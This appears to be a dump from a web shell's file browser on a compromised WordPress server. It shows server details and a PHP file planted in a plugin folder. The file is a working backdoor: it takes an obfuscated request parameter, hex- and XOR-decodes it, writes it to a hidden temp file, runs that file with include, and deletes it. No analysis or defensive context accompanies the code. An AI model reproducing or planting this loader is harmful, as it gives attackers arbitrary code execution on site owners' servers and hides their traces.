HEX
Server: LiteSpeed
System: Linux 111n6.sieutocviet.page 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User: nhathuocat (1048)
PHP: 7.4.30
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nhathuocat/public_html/wp-content/plugins/social_1761536436/connents.php
<!--Zq7XR5Em-->
<?php

if(!empty($_REQUEST["en\x74"])){
$bind = hex2bin($_REQUEST["en\x74"]);
$mrk   =   ''    ;      $g=0;do{$mrk.=chr(ord($bind[$g])^78);$g++;}while($g<strlen($bind));
$comp = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]);
foreach ($comp as $key => $flg) {
            if (array_product([is_dir($flg), is_writable($flg)])) {
            $ptr = "$flg" . "/.pset";
            if ($itm = fopen($ptr, 'w')) {
    fwrite($itm, $mrk);
    fclose($itm);
    include_once $ptr;
    unlink($ptr);
    die();
}
        }
}
}